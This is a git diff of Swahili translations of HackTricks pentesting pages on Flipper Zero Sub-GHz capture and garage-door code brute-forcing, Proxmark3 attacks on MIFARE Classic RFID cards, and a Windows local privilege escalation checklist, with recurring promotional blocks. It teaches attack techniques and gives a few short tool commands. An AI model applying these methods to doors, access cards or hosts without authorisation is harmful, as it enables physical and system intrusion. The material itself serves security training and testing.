|
2. Nenda kwa **Menyu Kuu** **→ Sub-GHz**.
|
||||||
3. Chagua **Mchambuzi wa Masafa**, kisha bonyeza na ushikilie kitufe kwenye kifaa cha udhibiti mbali unayotaka kuchambua.
|
3. Chagua **Mchambuzi wa Masafa**, kisha bonyeza na ushikilie kitufe kwenye udhibiti wa mbali unayotaka kuchambua.
|
||||||
4. Angalia thamani ya masafa kwenye skrini.
|
4. Angalia thamani ya masafa kwenye skrini.
|
||||||
|
|
||||||
### Soma
|
### Soma
|
||||||
|
@ -51,15 +59,15 @@ Pata habari kuhusu masafa yanayotumiwa (njia nyingine ya kugundua ni masafa gani
|
||||||
|
|
||||||
Chaguo la **Soma** **inasikiliza kwenye masafa yaliyosanidiwa** kwenye modulisheni iliyotajwa: 433.92 AM kwa chaguo-msingi. Ikiwa **kitu kinapatikana** wakati wa kusoma, **habari inatolewa** kwenye skrini. Habari hii inaweza kutumika kurudia ishara hapo baadaye.
|
Chaguo la **Soma** **inasikiliza kwenye masafa yaliyosanidiwa** kwenye modulisheni iliyotajwa: 433.92 AM kwa chaguo-msingi. Ikiwa **kitu kinapatikana** wakati wa kusoma, **habari inatolewa** kwenye skrini. Habari hii inaweza kutumika kurudia ishara hapo baadaye.
|
||||||
|
|
||||||
Wakati Soma inatumika, inawezekana bonyeza **kitufe cha kushoto** na **kuisanidi**.\
|
Wakati Soma inatumika, inawezekana bonyeza kitufe cha **kushoto** na **kuisanidi**.\
|
||||||
Wakati huu ina **modulisheni 4** (AM270, AM650, FM328 na FM476), na **masafa kadhaa muhimu** yameshikiliwa:
|
Wakati huu ina **modulisheni 4** (AM270, AM650, FM328 na FM476), na **masafa kadhaa muhimu** yameshikiliwa:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unaweza kuweka **yoyote inayokuvutia**, hata hivyo, ikiwa **haujui ni masafa gani** yanaweza kutumiwa na kifaa cha mbali unacho, **weka Hopping kuwa ON** (Off kwa chaguo-msingi), na bonyeza kitufe mara kadhaa hadi Flipper inakipata na kukupa habari unayohitaji kuweka masafa.
|
Unaweza kuweka **yoyote inayokuvutia**, hata hivyo, ikiwa haujui **masafa gani** yanaweza kutumiwa na udhibiti unaouweka, **weka Hopping kuwa ON** (Off kwa chaguo-msingi), na bonyeza kitufe mara kadhaa hadi Flipper inapochukua na kukupa habari unayohitaji kuweka masafa.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Kubadilisha kati ya masafa kunachukua muda fulani, kwa hivyo ishara zinazotumwa wakati wa kubadilisha zinaweza kukosa. Kwa kupokea ishara bora, weka masafa yaliyowekwa kwa uamuzi wa Mchambuzi wa Masafa.
|
Kubadilisha kati ya masafa huchukua muda fulani, kwa hivyo ishara zinazotumwa wakati wa kubadilisha zinaweza kukosa. Kwa kupokea ishara bora, weka masafa yaliyowekwa kulingana na Mchambuzi wa Masafa.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **Soma Raw**
|
### **Soma Raw**
|
||||||
|
@ -74,7 +82,7 @@ Kwa chaguo-msingi **Soma Raw pia iko kwenye 433.92 katika AM650**, lakini ikiwa
|
||||||
|
|
||||||
### Kuvunja-Nguvu
|
### Kuvunja-Nguvu
|
||||||
|
|
||||||
Ikiwa unajua itifaki inayotumiwa kwa mfano na mlango wa gari, ni **pamoja na kuzalisha nambari zote na kuzituma na Flipper Zero.** Hii ni mfano unaounga mkono aina za kawaida za kawaida za garages: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
|
Ikiwa unajua itifaki inayotumiwa kwa mfano na mlango wa garaji, ni rahisi k**uzalisha nambari zote na kuzituma na Flipper Zero.** Hii ni mfano unaounga mkono aina za kawaida za kawaida za garages: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
|
||||||
|
|
||||||
### Ongeza Kwa Mkono
|
### Ongeza Kwa Mkono
|
||||||
|
|
||||||
|
@ -84,15 +92,15 @@ Ongeza ishara kutoka kwa orodha iliyosanidiwa ya itifaki
|
||||||
|
|
||||||
#### Orodha ya [itifaki zinazoungwa mkono](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a>
|
#### Orodha ya [itifaki zinazoungwa mkono](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a>
|
||||||
|
|
||||||
| Princeton\_433 (inayofanya kazi na mfumo wa nambari za msimamo wa kawaida) | 433.92 | Stesheni |
|
| Princeton\_433 (inayofanya kazi na mfumo wa nambari za msimbo wa tuli kwa ujumla) | 433.92 | Stati |
|
||||||
| --------------------------------------------------------------- | ------ | ------- |
|
| --------------------------------------------------------------- | ------ | ------- |
|
||||||
| Nice Flo 12bit\_433 | 433.92 | Stesheni |
|
| Nice Flo 12bit\_433 | 433.92 | Stati |
|
||||||
| Nice Flo 24bit\_433 | 433.92 | Stesheni |
|
| Nice Flo 24bit\_433 | 433.92 | Stati |
|
||||||
| CAME 12bit\_433 | 433.92 | Stesheni |
|
| CAME 12bit\_433 | 433.92 | Stati |
|
||||||
| CAME 24bit\_433 | 433.92 | Stesheni |
|
| CAME 24bit\_433 | 433.92 | Stati |
|
||||||
| Linear\_300 | 300.00 | Stesheni |
|
| Linear\_300 | 300.00 | Stati |
|
||||||
| CAME TWEE | 433.92 | Stesheni |
|
| CAME TWEE | 433.92 | Stati |
|
||||||
| Gate TX\_433 | 433.92 | Stesheni |
|
| Gate TX\_433 | 433.92 | Stati |
|
||||||
| DoorHan\_315 | 315.00 | Kinamik |
|
| DoorHan\_315 | 315.00 | Kinamik |
|
||||||
| DoorHan\_433 | 433.92 | Kinamik |
|
| DoorHan\_433 | 433.92 | Kinamik |
|
||||||
| LiftMaster\_315 | 315.00 | Kinamik |
|
| LiftMaster\_315 | 315.00 | Kinamik |
|
||||||
|
@ -117,3 +125,23 @@ Pata dBms za vipimo vilivyohifadhiwa
|
||||||
## Marejeleo
|
## Marejeleo
|
||||||
|
|
||||||
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
|
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -2,24 +2,32 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhack AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
## Kuvamia Mifumo ya RFID na Proxmark3
|
## Kuvamia Mifumo ya RFID na Proxmark3
|
||||||
|
|
||||||
Jambo la kwanza unalohitaji kufanya ni kuwa na [**Proxmark3**](https://proxmark.com) na [**kusanikisha programu na mahitaji yake**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
Jambo la kwanza unalohitaji kufanya ni kuwa na [**Proxmark3**](https://proxmark.com) na [**kusakinisha programu na mahitaji yake**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||||
|
|
||||||
### Kuvamia MIFARE Classic 1KB
|
### Kuvamia MIFARE Classic 1KB
|
||||||
|
|
||||||
Ina **vikundi 16**, kila kimoja kina **vibao 4** na kila kibao kina **16B**. UID iko kwenye kikundi 0 kibao 0 (na haiwezi kubadilishwa).\
|
Ina **vikundi 16**, kila kimoja kina **vikundi 4** na kila kikundi kina **16B**. UID iko kwenye kikundi 0 kikundi 0 (na haiwezi kubadilishwa).\
|
||||||
Kupata ufikiaji wa kila kikundi unahitaji **funguo 2** (**A** na **B**) ambazo zimehifadhiwa kwenye **kibao 3 cha kila kikundi** (mkia wa kikundi). Mkia wa kikundi pia hifadhi **vibali vya ufikiaji** vinavyotoa **ruhusa ya kusoma na kuandika** kwenye **kila kibao** kwa kutumia funguo 2.\
|
Ili kupata ufikiaji wa kila kikundi unahitaji **funguo 2** (**A** na **B**) ambazo zimehifadhiwa kwenye **kikundi 3 cha kila kikundi** (sehemu ya mwisho ya kikundi). Sehemu ya mwisho ya kikundi pia inahifadhi **vibali vya ufikiaji** vinavyotoa **ruhusa ya kusoma na kuandika** kwenye **kila kikundi** kwa kutumia funguo 2.\
|
||||||
Funguo 2 ni muhimu kutoa ruhusa ya kusoma ikiwa unajua ya kwanza na kuandika ikiwa unajua ya pili (kwa mfano).
|
Funguo 2 ni muhimu kutoa ruhusa ya kusoma ikiwa unajua ya kwanza na kuandika ikiwa unajua ya pili (kwa mfano).
|
||||||
|
|
||||||
Mashambulizi kadhaa yanaweza kutekelezwa
|
Mashambulizi kadhaa yanaweza kutekelezwa
|
||||||
|
@ -45,7 +53,7 @@ Proxmark3 inaruhusu kutekeleza vitendo vingine kama **kupeleleza** mawasiliano y
|
||||||
|
|
||||||
### Amri za Mbichi
|
### Amri za Mbichi
|
||||||
|
|
||||||
Mifumo ya IoT mara nyingi hutumia vitambulisho **visivyo na chapa au visivyo vya kibiashara**. Katika kesi hii, unaweza kutumia Proxmark3 kutuma **amri za mbichi kwa vitambulisho**.
|
Mifumo ya IoT mara nyingi hutumia **vitambulisho visivyo na chapa au visivyo vya kibiashara**. Katika kesi hii, unaweza kutumia Proxmark3 kutuma **amri za mbichi kwa vitambulisho**.
|
||||||
```bash
|
```bash
|
||||||
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
|
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
|
||||||
SAK : 08 [2]
|
SAK : 08 [2]
|
||||||
|
@ -59,8 +67,27 @@ Kwa habari hii unaweza kujaribu kutafuta habari kuhusu kadi na njia ya kuwasilia
|
||||||
|
|
||||||
### Scripts
|
### Scripts
|
||||||
|
|
||||||
Programu ya Proxmark3 inakuja na orodha iliyopakiwa kabla ya **maandishi ya kiotomatiki** ambayo unaweza kutumia kutekeleza kazi rahisi. Ili kupata orodha kamili, tumia amri ya `script list`. Kisha, tumia amri ya `script run`, ikifuatiwa na jina la maandishi:
|
Programu ya Proxmark3 inakuja na orodha iliyopakiwa kabla ya **maandishi ya kiotomatiki** unazoweza kutumia kutekeleza kazi rahisi. Ili kupata orodha kamili, tumia amri ya `script list`. Kisha, tumia amri ya `script run`, ikifuatiwa na jina la maandishi:
|
||||||
```
|
```
|
||||||
proxmark3> script run mfkeys
|
proxmark3> script run mfkeys
|
||||||
```
|
```
|
||||||
Unaweza kuunda script ya **kufanya fuzz tag readers**, kwa kunakili data ya **kadi halali** tuandike **Lua script** ambayo **inabadilisha** moja au zaidi ya **bytes za kubahatisha** na kuangalia kama **msomaji unacrash** na mzunguko wowote.
|
Unaweza kuunda script ya **fuzz tag readers**, kwa kunakili data ya **kadi halali** tu andika **Lua script** ambayo **inaharibu** moja au zaidi ya **bytes** za kubahatisha na angalia kama **msomaji unakwama** na mzunguko wowote.
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -1,136 +1,149 @@
|
||||||
# Orodha - Kupandisha Mamlaka ya Ndani kwa Windows
|
# Orodha - Kupandisha Mamlaka ya Kibali kwa Windows ya Ndani
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### **Zana Bora ya Kutafuta Vekta za Kupandisha Mamlaka kwa Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
### **Zana Bora ya Kutafuta Vekta za Kupandisha Mamlaka ya Kibali kwa Windows ya Ndani:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||||
|
|
||||||
### [Maelezo ya Mfumo](windows-local-privilege-escalation/#system-info)
|
### [Maelezo ya Mfumo](windows-local-privilege-escalation/#system-info)
|
||||||
|
|
||||||
* [ ] Pata [**Maelezo ya Mfumo**](windows-local-privilege-escalation/#system-info)
|
* [ ] Pata [**Maelezo ya Mfumo**](windows-local-privilege-escalation/#system-info)
|
||||||
* [ ] Tafuta **mabao ya kernel** [**kwa kutumia hati za script**](windows-local-privilege-escalation/#version-exploits)
|
* [ ] Tafuta **mabao ya kernel** [**kwa kutumia hati za scripts**](windows-local-privilege-escalation/#version-exploits)
|
||||||
* [ ] Tumia **Google kutafuta** mabao ya kernel
|
* [ ] Tumia **Google kutafuta** mabao ya kernel
|
||||||
* [ ] Tumia **searchsploit kutafuta** mabao ya kernel
|
* [ ] Tumia **searchsploit kutafuta** mabao ya kernel
|
||||||
* [ ] Maelezo ya kuvutia katika [**vars za mazingira**](windows-local-privilege-escalation/#environment)?
|
* [ ] Maelezo ya kuvutia katika [**vars za mazingira**](windows-local-privilege-escalation/#environment)?
|
||||||
* [ ] Manenosiri katika [**historia ya PowerShell**](windows-local-privilege-escalation/#powershell-history)?
|
* [ ] Nywila katika [**historia ya PowerShell**](windows-local-privilege-escalation/#powershell-history)?
|
||||||
* [ ] Maelezo ya kuvutia katika [**vipimo vya mtandao**](windows-local-privilege-escalation/#internet-settings)?
|
* [ ] Maelezo ya kuvutia katika [**vipimo vya mtandao**](windows-local-privilege-escalation/#internet-settings)?
|
||||||
* [ ] [**Madereva**](windows-local-privilege-escalation/#drives)?
|
* [ ] [**Madereva**](windows-local-privilege-escalation/#drives)?
|
||||||
* [ ] [**Udukuzi wa WSUS**](windows-local-privilege-escalation/#wsus)?
|
* [ ] [**Udukuzi wa WSUS**](windows-local-privilege-escalation/#wsus)?
|
||||||
* [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)?
|
* [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)?
|
||||||
|
|
||||||
### [Uorodheshaji wa Kuingiza Kwenye Kumbukumbu/AV](windows-local-privilege-escalation/#enumeration)
|
### [Uorodheshaji wa Kuingia/AV](windows-local-privilege-escalation/#enumeration)
|
||||||
|
|
||||||
* [ ] Angalia [**Uorodheshaji** ](windows-local-privilege-escalation/#audit-settings)na [**WEF** ](windows-local-privilege-escalation/#wef)vipimo
|
* [ ] Angalia [**Uorodheshaji** ](windows-local-privilege-escalation/#audit-settings)na [**WEF** ](windows-local-privilege-escalation/#wef)vipimo
|
||||||
* [ ] Angalia [**LAPS**](windows-local-privilege-escalation/#laps)
|
* [ ] Angalia [**LAPS**](windows-local-privilege-escalation/#laps)
|
||||||
* [ ] Angalia ikiwa [**WDigest** ](windows-local-privilege-escalation/#wdigest)ipo
|
* [ ] Angalia ikiwa [**WDigest** ](windows-local-privilege-escalation/#wdigest)ipo
|
||||||
* [ ] [**Ulinzi wa LSA**](windows-local-privilege-escalation/#lsa-protection)?
|
* [ ] [**Ulinzi wa LSA**](windows-local-privilege-escalation/#lsa-protection)?
|
||||||
* [**Guard ya Vitambulisho**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
|
* [**Guard ya Vitambulisho**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
|
||||||
* [**Vitambulisho Vilivyohifadhiwa**](windows-local-privilege-escalation/#cached-credentials)?
|
* [**Vitambulisho vilivyohifadhiwa**](windows-local-privilege-escalation/#cached-credentials)?
|
||||||
* Angalia ikiwa kuna [**AV yoyote**](windows-av-bypass)
|
* Angalia ikiwa kuna [**AV yoyote**](windows-av-bypass)
|
||||||
* [**Sera ya AppLocker**](authentication-credentials-uac-and-efs#applocker-policy)?
|
* [**Sera ya AppLocker**](authentication-credentials-uac-and-efs#applocker-policy)?
|
||||||
* [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)
|
* [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)
|
||||||
* [**Haki za Mtumiaji**](windows-local-privilege-escalation/#users-and-groups)
|
* [**Haki za Mtumiaji**](windows-local-privilege-escalation/#users-and-groups)
|
||||||
* Angalia [**haki za mtumiaji wa sasa**](windows-local-privilege-escalation/#users-and-groups)
|
* Angalia [**haki za mtumiaji wa sasa**](windows-local-privilege-escalation/#users-and-groups)
|
||||||
* Je, wewe ni [**mwanachama wa kikundi cha kipekee**](windows-local-privilege-escalation/#privileged-groups)?
|
* Je, wewe ni [**mwanachama wa kikundi cha kuheshimiwa**](windows-local-privilege-escalation/#privileged-groups)?
|
||||||
* Angalia ikiwa una [mojawapo ya vivuli hivi vimeamilishwa](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
* Angalia ikiwa una [mojawapo ya vitufe hivi vimezimwa](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||||
* [**Vikao vya Watumiaji**](windows-local-privilege-escalation/#logged-users-sessions)?
|
* [**Vikao vya Watumiaji**](windows-local-privilege-escalation/#logged-users-sessions)?
|
||||||
* Angalia[ **nyumba za watumiaji**](windows-local-privilege-escalation/#home-folders) (upatikanaji?)
|
* Angalia[ **nyumba za watumiaji**](windows-local-privilege-escalation/#home-folders) (upatikanaji?)
|
||||||
* Angalia [**Sera ya Nenosiri**](windows-local-privilege-escalation/#password-policy)
|
* Angalia [**Sera ya Nywila**](windows-local-privilege-escalation/#password-policy)
|
||||||
* Ni[ **nini ndani ya Ubao wa Kuchorea**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
|
* Ni[ **nini ndani ya Ubao wa Kuchapisha**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
|
||||||
|
|
||||||
### [Mtandao](windows-local-privilege-escalation/#network)
|
### [Mtandao](windows-local-privilege-escalation/#network)
|
||||||
|
|
||||||
* Angalia **sasa** [**maelezo ya mtandao**](windows-local-privilege-escalation/#network)
|
* Angalia **sasa** [**habari za mtandao**](windows-local-privilege-escalation/#network)
|
||||||
* Angalia **huduma za ndani zilizofichwa** zilizozuiwa kwa nje
|
* Angalia **huduma za mitaa zilizofichwa** zilizozuiwa kwa nje
|
||||||
|
|
||||||
### [Mchakato Unaoendeshwa](windows-local-privilege-escalation/#running-processes)
|
### [Mchakato Unaoendeshwa](windows-local-privilege-escalation/#running-processes)
|
||||||
|
|
||||||
* Mchakato wa faili za binaries [**faili na ruhusa za folda**](windows-local-privilege-escalation/#file-and-folder-permissions)
|
* Mchakato wa faili na folda [**ruhusa**](windows-local-privilege-escalation/#file-and-folder-permissions)
|
||||||
* [**Uchimbaji wa Nenosiri la Kumbukumbu**](windows-local-privilege-escalation/#memory-password-mining)
|
* [**Uchimbaji Nywila za Kumbukumbu**](windows-local-privilege-escalation/#memory-password-mining)
|
||||||
* [**Programu za GUI zisizo salama**](windows-local-privilege-escalation/#insecure-gui-apps)
|
* [**Programu za GUI zisizo salama**](windows-local-privilege-escalation/#insecure-gui-apps)
|
||||||
* Pora vitambulisho na **mchakato wa kuvutia** kupitia `ProcDump.exe` ? (firefox, chrome, nk ...)
|
* Pora vitambulisho na **mchakato wa kuvutia** kupitia `ProcDump.exe` ? (firefox, chrome, nk ...)
|
||||||
|
|
||||||
### [Huduma](windows-local-privilege-escalation/#services)
|
### [Huduma](windows-local-privilege-escalation/#services)
|
||||||
|
|
||||||
* [ ] [Je, unaweza **kurekebisha huduma yoyote**?](windows-local-privilege-escalation#permissions)
|
* [Je, unaweza **kurekebisha huduma yoyote**?](windows-local-privilege-escalation#permissions)
|
||||||
* [ ] [Je, unaweza **kurekebisha** **binari** inayo **tekelezwa** na huduma yoyote **?**](windows-local-privilege-escalation/#modify-service-binary-path)
|
* [Je, unaweza **kurekebisha** **faili** inayotekelezwa na **huduma yoyote**?](windows-local-privilege-escalation/#modify-service-binary-path)
|
||||||
* [ ] [Je, unaweza **kurekebisha** **usajili** wa huduma yoyote **?**](windows-local-privilege-escalation/#services-registry-modify-permissions)
|
